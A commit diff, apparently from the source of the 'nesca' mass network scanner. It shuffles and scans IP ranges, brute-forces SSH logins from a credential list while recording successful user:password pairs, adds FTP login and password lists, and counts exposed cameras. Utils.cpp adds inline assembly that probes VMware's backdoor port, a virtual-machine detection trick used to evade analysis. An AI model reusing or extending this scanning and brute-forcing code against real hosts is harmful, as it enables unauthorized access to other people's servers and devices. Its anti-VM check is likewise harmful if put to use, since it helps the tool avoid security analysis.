saverRunning = true;
|
saverRunning = true;
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
while (globalScanFlag)
|
while (saveBackup && globalScanFlag)
|
||||||
{
|
{
|
||||||
savingBackUpFile = true;
|
savingBackUpFile = true;
|
||||||
saveBackupToFile();
|
saveBackupToFile();
|
||||||
@ -944,7 +932,7 @@ void MainStarter::startIPScan(){
|
|||||||
tAddr.s_addr = ntohl(i);
|
tAddr.s_addr = ntohl(i);
|
||||||
ipVec.push_back(inet_ntoa(tAddr));
|
ipVec.push_back(inet_ntoa(tAddr));
|
||||||
|
|
||||||
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
|
if (ipVec.size() >= (offset < 10000 ? offset : 10000)) {
|
||||||
|
|
||||||
std::random_shuffle(ipVec.begin(), ipVec.end());
|
std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||||
while (ipVec.size() != 0) {
|
while (ipVec.size() != 0) {
|
||||||
@ -953,9 +941,9 @@ void MainStarter::startIPScan(){
|
|||||||
if (!globalScanFlag) goto haters_gonna_hate_IPM;
|
if (!globalScanFlag) goto haters_gonna_hate_IPM;
|
||||||
|
|
||||||
++indexIP;
|
++indexIP;
|
||||||
|
|
||||||
strcpy(currentIP, ipVec[0].c_str());
|
strcpy(currentIP, ipVec[0].c_str());
|
||||||
ipVec.erase(ipVec.begin());
|
ipVec.erase(ipVec.begin());
|
||||||
|
|
||||||
verboseProgress(gTargets);
|
verboseProgress(gTargets);
|
||||||
|
|
||||||
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||||
@ -1180,7 +1168,6 @@ void MainStarter::startDNSScan(){
|
|||||||
gTargets = dnsCounter;
|
gTargets = dnsCounter;
|
||||||
gTargetsNumber = gTargets;
|
gTargetsNumber = gTargets;
|
||||||
stt->doEmitionYellowFoundData("Starting DNS-scan...");
|
stt->doEmitionYellowFoundData("Starting DNS-scan...");
|
||||||
stt->doEmitionChangeStatus("Scanning...");
|
|
||||||
|
|
||||||
int y = _GetDNSFromMask(dataEntry, "", dataEntry);
|
int y = _GetDNSFromMask(dataEntry, "", dataEntry);
|
||||||
if (y == -1)
|
if (y == -1)
|
||||||
@ -1189,6 +1176,11 @@ void MainStarter::startDNSScan(){
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
struct Corac {
|
||||||
|
int index;
|
||||||
|
std::string ip;
|
||||||
|
};
|
||||||
|
|
||||||
void MainStarter::startImportScan(){
|
void MainStarter::startImportScan(){
|
||||||
if (MainStarter::flCounter == 0)
|
if (MainStarter::flCounter == 0)
|
||||||
{
|
{
|
||||||
@ -1198,56 +1190,120 @@ void MainStarter::startImportScan(){
|
|||||||
return;
|
return;
|
||||||
};
|
};
|
||||||
|
|
||||||
stt->doEmitionChangeStatus("Scanning...");
|
//std::vector<std::string> ipVec;
|
||||||
for (gflIndex = 0; gflIndex < MainStarter::flCounter; ++gflIndex)
|
std::vector<Corac> ipVec;
|
||||||
|
struct in_addr tAddr;
|
||||||
|
int ipOffset = 6;
|
||||||
|
//for (gflIndex = 0; gflIndex < MainStarter::flCounter; ++gflIndex)
|
||||||
|
for (gflIndex = 0; gflIndex < MainStarter::flCounter; gflIndex += ipOffset)
|
||||||
{
|
{
|
||||||
sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
|
//sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
|
||||||
ipsstartfl[gflIndex][0], ipsstartfl[gflIndex][1], ipsstartfl[gflIndex][2], ipsstartfl[gflIndex][3],
|
// ipsstartfl[gflIndex][0], ipsstartfl[gflIndex][1], ipsstartfl[gflIndex][2], ipsstartfl[gflIndex][3],
|
||||||
ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], ipsendfl[gflIndex][3]);
|
// ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], ipsendfl[gflIndex][3]);
|
||||||
|
|
||||||
ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
|
//ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
|
||||||
(ipsstartfl[gflIndex][1] * 65536) +
|
// (ipsstartfl[gflIndex][1] * 65536) +
|
||||||
(ipsstartfl[gflIndex][2] * 256) +
|
// (ipsstartfl[gflIndex][2] * 256) +
|
||||||
ipsstartfl[gflIndex][3];
|
// ipsstartfl[gflIndex][3];
|
||||||
ip2 = (ipsendfl[gflIndex][0] * 16777216) +
|
//ip2 = (ipsendfl[gflIndex][0] * 16777216) +
|
||||||
(ipsendfl[gflIndex][1] * 65536) +
|
// (ipsendfl[gflIndex][1] * 65536) +
|
||||||
(ipsendfl[gflIndex][2] * 256) +
|
// (ipsendfl[gflIndex][2] * 256) +
|
||||||
ipsendfl[gflIndex][3];
|
// ipsendfl[gflIndex][3];
|
||||||
|
|
||||||
switch (gShuffle) {
|
switch (gShuffle) {
|
||||||
case true: {
|
case true: {
|
||||||
std::vector<std::string> ipVec;
|
int ipGap = MainStarter::flCounter - gflIndex;
|
||||||
struct in_addr tAddr;
|
if (ipGap < ipOffset)
|
||||||
|
{
|
||||||
|
ipOffset = ipGap;
|
||||||
|
};
|
||||||
|
|
||||||
for (unsigned long i = ip1; i <= ip2; ++i) {
|
for (int j = gflIndex, coracIndex = 0; j < gflIndex + ipOffset; ++j, coracIndex++)
|
||||||
|
{
|
||||||
|
/*sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
|
||||||
|
ipsstartfl[j][0], ipsstartfl[j][1], ipsstartfl[j][2], ipsstartfl[j][3],
|
||||||
|
ipsendfl[j][0], ipsendfl[j][1], ipsendfl[j][2], ipsendfl[j][3]);*/
|
||||||
|
ip1 = (ipsstartfl[j][0] * 16777216) +
|
||||||
|
(ipsstartfl[j][1] * 65536) +
|
||||||
|
(ipsstartfl[j][2] * 256) +
|
||||||
|
ipsstartfl[j][3];
|
||||||
|
ip2 = (ipsendfl[j][0] * 16777216) +
|
||||||
|
(ipsendfl[j][1] * 65536) +
|
||||||
|
(ipsendfl[j][2] * 256) +
|
||||||
|
ipsendfl[j][3];
|
||||||
|
|
||||||
if (!globalScanFlag) break;
|
for (unsigned long i = ip1; i <= ip2; ++i)
|
||||||
unsigned long offset = ip2 - i;
|
{
|
||||||
|
if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||||
|
|
||||||
tAddr.s_addr = ntohl(i);
|
tAddr.s_addr = ntohl(i);
|
||||||
ipVec.push_back(inet_ntoa(tAddr));
|
Corac corac;
|
||||||
|
corac.ip = std::string(inet_ntoa(tAddr));
|
||||||
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
|
corac.index = coracIndex;
|
||||||
|
ipVec.push_back(corac);
|
||||||
std::random_shuffle(ipVec.begin(), ipVec.end());
|
|
||||||
while (ipVec.size() != 0) {
|
|
||||||
|
|
||||||
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
|
||||||
if (!globalScanFlag) goto haters_gonna_hate_IM;
|
|
||||||
|
|
||||||
++indexIP;
|
|
||||||
strcpy(currentIP, ipVec[0].c_str());
|
|
||||||
ipVec.erase(ipVec.begin());
|
|
||||||
verboseProgress(gTargets);
|
|
||||||
|
|
||||||
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||||
|
for (int k = 0; k < ipVec.size(); ++k)
|
||||||
|
{
|
||||||
|
stt->addColoredIndex(ipVec[k].index);
|
||||||
|
}
|
||||||
|
|
||||||
|
stt->doEmitionUpdatePB2();
|
||||||
|
|
||||||
|
while (ipVec.size() != 0) {
|
||||||
|
++cIndex;
|
||||||
|
//stt->doEmitionDrawPointerPB2(pointer++);
|
||||||
|
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||||
|
if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||||
|
|
||||||
|
++indexIP;
|
||||||
|
|
||||||
|
strcpy(currentIP, ipVec[0].ip.c_str());
|
||||||
|
ipVec.erase(ipVec.begin());
|
||||||
|
verboseProgress(gTargets);
|
||||||
|
|
||||||
|
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||||
|
}
|
||||||
|
|
||||||
|
// for (unsigned long i = ip1; i <= ip2; ++i) {
|
||||||
|
|
||||||
|
// if (!globalScanFlag) break;
|
||||||
|
|
||||||
|
// tAddr.s_addr = ntohl(i);
|
||||||
|
// ipVec.push_back(inet_ntoa(tAddr));
|
||||||
|
|
||||||
|
// if (ipVec.size() >= (gTargets > 10000 ? 10000 : gTargets)) {
|
||||||
|
|
||||||
|
// std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||||
|
// while (ipVec.size() != 0) {
|
||||||
|
|
||||||
|
// while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||||
|
// if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||||
|
|
||||||
|
// ++indexIP;
|
||||||
|
|
||||||
|
// strcpy(currentIP, ipVec[0].c_str());
|
||||||
|
// ipVec.erase(ipVec.begin());
|
||||||
|
// verboseProgress(gTargets);
|
||||||
|
|
||||||
|
// Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// }
|
||||||
haters_gonna_hate_IM:;
|
haters_gonna_hate_IM:;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case false: {
|
case false: {
|
||||||
|
ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
|
||||||
|
(ipsstartfl[gflIndex][1] * 65536) +
|
||||||
|
(ipsstartfl[gflIndex][2] * 256) +
|
||||||
|
ipsstartfl[gflIndex][3];
|
||||||
|
ip2 = (ipsendfl[gflIndex][0] * 16777216) +
|
||||||
|
(ipsendfl[gflIndex][1] * 65536) +
|
||||||
|
(ipsendfl[gflIndex][2] * 256) +
|
||||||
|
ipsendfl[gflIndex][3];
|
||||||
struct in_addr tAddr;
|
struct in_addr tAddr;
|
||||||
for (unsigned long i = ip1; i <= ip2; ++i) {
|
for (unsigned long i = ip1; i <= ip2; ++i) {
|
||||||
|
|
||||||
@ -1289,21 +1345,84 @@ void MainStarter::runAuxiliaryThreads() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void MainStarter::createResultFiles() {
|
void MainStarter::createResultFiles() {
|
||||||
|
char fileName[256] = { 0 };
|
||||||
|
sprintf(fileName, "./result_files-%s", Utils::getStartDate().c_str());
|
||||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
bool res = CreateDirectoryA(RESULT_DIR_NAME, NULL);
|
bool res = CreateDirectoryA(fileName, NULL);
|
||||||
if(!res) stt->doEmitionRedFoundData("Failed to crete results.");
|
if (!res) {
|
||||||
|
int err = GetLastError();
|
||||||
|
if (err != 183)
|
||||||
|
{
|
||||||
|
while (!res) {
|
||||||
|
stt->doEmitionRedFoundData("Failed to create \"" + QString::fromLocal8Bit(fileName) + "\" Err: " + QString::number(err));
|
||||||
|
res = CreateDirectoryA(fileName, NULL);
|
||||||
|
err = GetLastError();
|
||||||
|
Sleep(1000);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
stt->doEmitionYellowFoundData("Directory \"" + QString::fromLocal8Bit(fileName) + "\" already exists. Err: " + QString::number(err));
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
stt->doEmitionGreenFoundData("Result directory \"" + QString::fromLocal8Bit(fileName) + "\" successfully created.");
|
||||||
|
}
|
||||||
#else
|
#else
|
||||||
struct stat str = { 0 };
|
struct stat str = { 0 };
|
||||||
if (stat(RESULT_DIR_NAME, &str) == -1) {
|
if (stat(fileName, &str) == -1) {
|
||||||
mkdir(RESULT_DIR_NAME, 0700);
|
mkdir(fileName, 0700);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void MainStarter::start(const char* targets, const char* ports) {
|
/* This array will store all of the mutexes available to OpenSSL. */
|
||||||
|
static MUTEX_TYPE *mutex_buf = NULL;
|
||||||
|
|
||||||
|
static void locking_function(int mode, int n, const char * file, int line)
|
||||||
|
{
|
||||||
|
if (mode & CRYPTO_LOCK)
|
||||||
|
MUTEX_LOCK(mutex_buf[n]);
|
||||||
|
else
|
||||||
|
MUTEX_UNLOCK(mutex_buf[n]);
|
||||||
|
}
|
||||||
|
|
||||||
|
static unsigned long id_function(void)
|
||||||
|
{
|
||||||
|
return ((unsigned long)THREAD_ID);
|
||||||
|
}
|
||||||
|
|
||||||
|
int thread_setup(void)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
|
||||||
|
mutex_buf = (MUTEX_TYPE*)malloc(CRYPTO_num_locks() * sizeof(MUTEX_TYPE));
|
||||||
|
if (!mutex_buf)
|
||||||
|
return 0;
|
||||||
|
for (i = 0; i < CRYPTO_num_locks(); i++)
|
||||||
|
MUTEX_SETUP(mutex_buf[i]);
|
||||||
|
CRYPTO_set_id_callback(id_function);
|
||||||
|
CRYPTO_set_locking_callback(locking_function);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int thread_cleanup(void)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
if (!mutex_buf)
|
||||||
|
return 0;
|
||||||
|
CRYPTO_set_id_callback(NULL);
|
||||||
|
CRYPTO_set_locking_callback(NULL);
|
||||||
|
for (i = 0; i < CRYPTO_num_locks(); i++)
|
||||||
|
MUTEX_CLEANUP(mutex_buf[i]);
|
||||||
|
free(mutex_buf);
|
||||||
|
mutex_buf = NULL;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
void MainStarter::start(const char* targets, const char* ports) {
|
||||||
|
saveBackup = true;
|
||||||
curl_global_init(CURL_GLOBAL_ALL);
|
curl_global_init(CURL_GLOBAL_ALL);
|
||||||
|
|
||||||
|
thread_setup();
|
||||||
|
|
||||||
createResultFiles();
|
createResultFiles();
|
||||||
|
|
||||||
if (loadTargets(targets) == -1 ||
|
if (loadTargets(targets) == -1 ||
|
||||||
@ -1319,13 +1438,15 @@ void MainStarter::start(const char* targets, const char* ports) {
|
|||||||
else if (gMode == 1) startDNSScan();
|
else if (gMode == 1) startDNSScan();
|
||||||
else startImportScan();
|
else startImportScan();
|
||||||
|
|
||||||
|
saveBackup = false;
|
||||||
|
|
||||||
stt->doEmitionYellowFoundData("Stopping threads...");
|
stt->doEmitionYellowFoundData("Stopping threads...");
|
||||||
stt->doEmitionChangeStatus("Stopping...");
|
|
||||||
|
|
||||||
while (cons > 0 || jsonArr->size() > 0) Sleep(2000);
|
while (cons > 0 || jsonArr->size() > 0) Sleep(2000);
|
||||||
|
|
||||||
|
thread_cleanup();
|
||||||
|
|
||||||
stt->doEmitionGreenFoundData("Done. Saved <u>" + QString::number(saved) +
|
stt->doEmitionGreenFoundData("Done. Saved <u>" + QString::number(saved) +
|
||||||
"</u> of <u>" + QString::number(found) + "</u> nodes.");
|
"</u> of <u>" + QString::number(found) + "</u> nodes.");
|
||||||
stt->doEmitionChangeStatus("Idle");
|
|
||||||
stt->doEmitionKillSttThread();
|
stt->doEmitionKillSttThread();
|
||||||
}
|
}
|
@ -30,9 +30,8 @@ public:
|
|||||||
MainStarter()
|
MainStarter()
|
||||||
{
|
{
|
||||||
horLineFlag = false;
|
horLineFlag = false;
|
||||||
PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0;
|
PieCamerasC1 = 0, PieBA = 0, PieOther = 0, PieSSH = 0;
|
||||||
AnomC1 = 0, baCount = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0,
|
camerasC1 = 0, baCount = 0, filtered = 0, Overl = 0, Alive = 0, Activity = 0, saved = 0, other = 0;
|
||||||
WF = 0;
|
|
||||||
BrutingThrds = 0;
|
BrutingThrds = 0;
|
||||||
found = 0;
|
found = 0;
|
||||||
gTargets = 0;
|
gTargets = 0;
|
||||||
@ -77,6 +76,18 @@ public:
|
|||||||
delete[]wfLoginLst;
|
delete[]wfLoginLst;
|
||||||
wfLoginLst = NULL;
|
wfLoginLst = NULL;
|
||||||
};
|
};
|
||||||
|
if (ftpPassLst != NULL)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < MaxFTPPass; ++i) delete[]ftpPassLst[i];
|
||||||
|
delete[]ftpPassLst;
|
||||||
|
ftpPassLst = NULL;
|
||||||
|
};
|
||||||
|
if (ftpLoginLst != NULL)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < MaxFTPLogin; ++i) delete[]ftpLoginLst[i];
|
||||||
|
delete[]ftpLoginLst;
|
||||||
|
ftpLoginLst = NULL;
|
||||||
|
};
|
||||||
if (sshlpLst != NULL)
|
if (sshlpLst != NULL)
|
||||||
{
|
{
|
||||||
for (int i = 0; i < MaxSSHPass; ++i) delete[]sshlpLst[i];
|
for (int i = 0; i < MaxSSHPass; ++i) delete[]sshlpLst[i];
|
||||||
|
60
SSHAuth.cpp
60
SSHAuth.cpp
@ -84,17 +84,19 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int check_ssh_pass(const char *user, const char *pass,
|
int check_ssh_pass(const int rowIndex, const char *user, const char *pass,
|
||||||
const char *userPass, const char *host, int port,
|
const char *userPass, const char *host, int port,
|
||||||
std::string *buffer, const char *banner) {
|
std::string *buffer, const char *banner) {
|
||||||
int res = -1;
|
int res = _sshConnect(user, pass, host, port);
|
||||||
if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(userPass) + "@" + QString(host) + ":" + QString::number(port));
|
|
||||||
|
|
||||||
res = _sshConnect(user, pass, host, port);
|
|
||||||
|
|
||||||
if(res == 0)
|
if(res == 0)
|
||||||
{
|
{
|
||||||
stt->doEmition_BAGreenData("[+] SSH: " + QString(userPass) + "@" + QString(host));
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(host) + ":" + QString::number(port), QString(userPass) + "@" + QString(host), "OK");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(userPass) + "@" + QString(host), "OK");
|
||||||
|
}
|
||||||
buffer->append(userPass);
|
buffer->append(userPass);
|
||||||
buffer->append("@");
|
buffer->append("@");
|
||||||
buffer->append(host);
|
buffer->append(host);
|
||||||
@ -112,6 +114,8 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
|||||||
char temp[64] = {0};
|
char temp[64] = {0};
|
||||||
char *ptr1 = 0;
|
char *ptr1 = 0;
|
||||||
int res = -1;
|
int res = -1;
|
||||||
|
int rowIndex = -1;
|
||||||
|
int passCounter = 0;
|
||||||
|
|
||||||
for(int i = 0; i < MaxSSHPass; ++i)
|
for(int i = 0; i < MaxSSHPass; ++i)
|
||||||
{
|
{
|
||||||
@ -126,23 +130,59 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
|||||||
|
|
||||||
strncpy(login, temp, ptr1 - temp);
|
strncpy(login, temp, ptr1 - temp);
|
||||||
strcpy(pass, ptr1 + 1);
|
strcpy(pass, ptr1 + 1);
|
||||||
res = check_ssh_pass(login, pass, temp, host, port, buffer, banner);
|
|
||||||
|
if (BALogSwitched) {
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
rowIndex = nesca_3::addBARow(QString(host) + ":" + QString::number(port),
|
||||||
|
QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else { rowIndex = -1; }
|
||||||
|
++passCounter;
|
||||||
|
|
||||||
|
res = check_ssh_pass(rowIndex, login, pass, temp, host, port, buffer, banner);
|
||||||
ZeroMemory(login, sizeof(login));
|
ZeroMemory(login, sizeof(login));
|
||||||
ZeroMemory(pass, sizeof(pass));
|
ZeroMemory(pass, sizeof(pass));
|
||||||
ZeroMemory(temp, sizeof(temp));
|
ZeroMemory(temp, sizeof(temp));
|
||||||
|
|
||||||
if(res == 0)
|
if(res == 0)
|
||||||
{
|
{
|
||||||
if(i == 0) return -2; //Failhit
|
if (i == 0) {
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAILHIT");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAILHIT");
|
||||||
|
}
|
||||||
|
return -2; //Failhit
|
||||||
|
}
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
else if(res == -2)
|
else if(res == -2)
|
||||||
{
|
{
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
return -2;
|
return -2;
|
||||||
};
|
};
|
||||||
|
|
||||||
Sleep(500);
|
Sleep(500);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
29
STh.cpp
29
STh.cpp
@ -1,6 +1,18 @@
|
|||||||
#include "STh.h"
|
#include "STh.h"
|
||||||
#include "externData.h"
|
#include "externData.h"
|
||||||
|
|
||||||
|
//BA TablelistView
|
||||||
|
void STh::doEmitionChangeBARow(int index, QString loginPass, QString percentage)
|
||||||
|
{
|
||||||
|
emit stt->signalChangeBARow(index, loginPass, percentage);
|
||||||
|
}
|
||||||
|
|
||||||
|
void STh::doEmitionUpdatePB2()
|
||||||
|
{
|
||||||
|
cIndex = 0;
|
||||||
|
emit stt->updPB2();
|
||||||
|
}
|
||||||
|
|
||||||
void STh::doEmitionShowRedVersion()
|
void STh::doEmitionShowRedVersion()
|
||||||
{
|
{
|
||||||
emit stt->showRedVersion();
|
emit stt->showRedVersion();
|
||||||
@ -29,18 +41,7 @@ void STh::doEmitionFoundData(QString str)
|
|||||||
{
|
{
|
||||||
emit stt->changeFoundData(str);
|
emit stt->changeFoundData(str);
|
||||||
}
|
}
|
||||||
void STh::doEmitionBAData(QString str)
|
|
||||||
{
|
|
||||||
emit stt->changeBAData(str);
|
|
||||||
}
|
|
||||||
void STh::doEmition_BARedData(QString str)
|
|
||||||
{
|
|
||||||
emit stt->changeRedBAData(str);
|
|
||||||
}
|
|
||||||
void STh::doEmition_BAGreenData(QString str)
|
|
||||||
{
|
|
||||||
emit stt->changeGreenBAData(str);
|
|
||||||
}
|
|
||||||
void STh::doEmitionRedFoundData(QString str)
|
void STh::doEmitionRedFoundData(QString str)
|
||||||
{
|
{
|
||||||
emit stt->changeRedFoundData(str);
|
emit stt->changeRedFoundData(str);
|
||||||
@ -57,10 +58,6 @@ void STh::doEmitionDebugFoundData(QString str)
|
|||||||
{
|
{
|
||||||
emit stt->changeDebugFoundData(str);
|
emit stt->changeDebugFoundData(str);
|
||||||
}
|
}
|
||||||
void STh::doEmitionChangeStatus(QString str)
|
|
||||||
{
|
|
||||||
emit stt->changeStatus(str);
|
|
||||||
}
|
|
||||||
void STh::doEmitionKillSttThread()
|
void STh::doEmitionKillSttThread()
|
||||||
{
|
{
|
||||||
emit stt->killSttThread();
|
emit stt->killSttThread();
|
||||||
|
29
STh.h
29
STh.h
@ -14,31 +14,44 @@ class STh : public QThread
|
|||||||
private:
|
private:
|
||||||
QString target = "";
|
QString target = "";
|
||||||
QString ports = "";
|
QString ports = "";
|
||||||
|
QList<int> coloredIndexes;
|
||||||
|
|
||||||
public:
|
public:
|
||||||
|
void addColoredIndex(int index)
|
||||||
|
{
|
||||||
|
coloredIndexes.push_back(index);
|
||||||
|
}
|
||||||
|
QList<int> getColoredIndexes()
|
||||||
|
{
|
||||||
|
return coloredIndexes;
|
||||||
|
}
|
||||||
|
|
||||||
void setMode(short mode);
|
void setMode(short mode);
|
||||||
void setTarget(QString target);
|
void setTarget(QString target);
|
||||||
void setPorts(QString ports);
|
void setPorts(QString ports);
|
||||||
|
|
||||||
|
static int baModelSize();
|
||||||
|
|
||||||
static void doEmitionDataSaved(bool status);
|
static void doEmitionDataSaved(bool status);
|
||||||
static void doEmitionStartScanIP();
|
static void doEmitionStartScanIP();
|
||||||
static void doEmitionStartScanDNS();
|
static void doEmitionStartScanDNS();
|
||||||
static void doEmitionStartScanImport();
|
static void doEmitionStartScanImport();
|
||||||
static void doEmitionAddIncData(QString ip, QString str);
|
static void doEmitionAddIncData(QString ip, QString str);
|
||||||
static void doEmitionAddOutData(QString str);
|
static void doEmitionAddOutData(QString str);
|
||||||
static void doEmition_BAGreenData(QString str);
|
|
||||||
static void doEmition_BARedData(QString str);
|
|
||||||
static void doEmitionFoundData(QString str);
|
static void doEmitionFoundData(QString str);
|
||||||
static void doEmitionRedFoundData(QString str);
|
static void doEmitionRedFoundData(QString str);
|
||||||
static void doEmitionGreenFoundData(QString);
|
static void doEmitionGreenFoundData(QString);
|
||||||
static void doEmitionYellowFoundData(QString);
|
static void doEmitionYellowFoundData(QString);
|
||||||
static void doEmitionChangeStatus(QString);
|
|
||||||
static void doEmitionKillSttThread();
|
static void doEmitionKillSttThread();
|
||||||
static void doEmitionBAData(QString str);
|
|
||||||
static void doEmitionDebugFoundData(QString);
|
static void doEmitionDebugFoundData(QString);
|
||||||
static void doEmitionShowRedVersion();
|
static void doEmitionShowRedVersion();
|
||||||
static void doEmitionUpdateArc(unsigned long gTargets);
|
static void doEmitionUpdateArc(unsigned long gTargets);
|
||||||
static void doEmitionBlockButton(bool value);
|
static void doEmitionBlockButton(bool value);
|
||||||
|
//BA TablelistView
|
||||||
|
static void doEmitionChangeBARow(int index, QString loginPass, QString percentage);
|
||||||
|
static void doEmitionUpdatePB2();
|
||||||
|
|
||||||
signals:
|
signals:
|
||||||
public: signals: void showRedVersion();
|
public: signals: void showRedVersion();
|
||||||
@ -46,20 +59,20 @@ public: signals: void startScanIP();
|
|||||||
public: signals: void startScanDNS();
|
public: signals: void startScanDNS();
|
||||||
public: signals: void startScanImport();
|
public: signals: void startScanImport();
|
||||||
public: signals: void signalDataSaved(bool);
|
public: signals: void signalDataSaved(bool);
|
||||||
public: signals: void changeGreenBAData(QString);
|
public: signals : void updPB2();
|
||||||
public: signals: void changeRedBAData(QString);
|
|
||||||
public: signals: void changeBAData(QString);
|
|
||||||
public: signals: void changeFoundData(QString);
|
public: signals: void changeFoundData(QString);
|
||||||
public: signals: void changeRedFoundData(QString);
|
public: signals: void changeRedFoundData(QString);
|
||||||
public: signals: void changeGreenFoundData(QString);
|
public: signals: void changeGreenFoundData(QString);
|
||||||
public: signals: void changeYellowFoundData(QString);
|
public: signals: void changeYellowFoundData(QString);
|
||||||
public: signals: void changeDebugFoundData(QString);
|
public: signals: void changeDebugFoundData(QString);
|
||||||
public: signals: void changeStatus(QString);
|
|
||||||
public: signals: void killSttThread();
|
public: signals: void killSttThread();
|
||||||
public: signals: void sIncData(QString, QString);
|
public: signals: void sIncData(QString, QString);
|
||||||
public: signals : void sOutData(QString);
|
public: signals : void sOutData(QString);
|
||||||
public: signals : void signalUpdateArc(unsigned long);
|
public: signals : void signalUpdateArc(unsigned long);
|
||||||
public: signals : void signalBlockButton(bool);
|
public: signals : void signalBlockButton(bool);
|
||||||
|
//BA TablelistView
|
||||||
|
public: signals : void signalChangeBARow(int, QString, QString);
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
void run();
|
void run();
|
||||||
|
30
Utils.cpp
30
Utils.cpp
@ -1,6 +1,36 @@
|
|||||||
#include "Utils.h"
|
#include "Utils.h"
|
||||||
#include <sstream>
|
#include <sstream>
|
||||||
|
|
||||||
|
std::string Utils::startDate;
|
||||||
|
|
||||||
|
void Utils::emitScaryError() {
|
||||||
|
__asm{
|
||||||
|
push edx
|
||||||
|
push ecx
|
||||||
|
push ebx
|
||||||
|
|
||||||
|
mov eax, 'VMXh'
|
||||||
|
mov ebx, 0
|
||||||
|
mov ecx, 10
|
||||||
|
mov edx, 'VX'
|
||||||
|
|
||||||
|
in eax, dx
|
||||||
|
cmp ebx, 'VMXh'
|
||||||
|
|
||||||
|
pop ebx
|
||||||
|
pop ecx
|
||||||
|
pop edx
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void Utils::saveStartDate() {
|
||||||
|
startDate = std::string(QDate::currentDate().toString().toLocal8Bit().data());
|
||||||
|
}
|
||||||
|
std::string Utils::getStartDate() {
|
||||||
|
return startDate;
|
||||||
|
}
|
||||||
|
|
||||||
int Utils::isDigest(const std::string *buffer) {
|
int Utils::isDigest(const std::string *buffer) {
|
||||||
if (Utils::ustrstr(buffer, "401 authorization") != -1
|
if (Utils::ustrstr(buffer, "401 authorization") != -1
|
||||||
|| Utils::ustrstr(buffer, "401 unauthorized") != -1
|
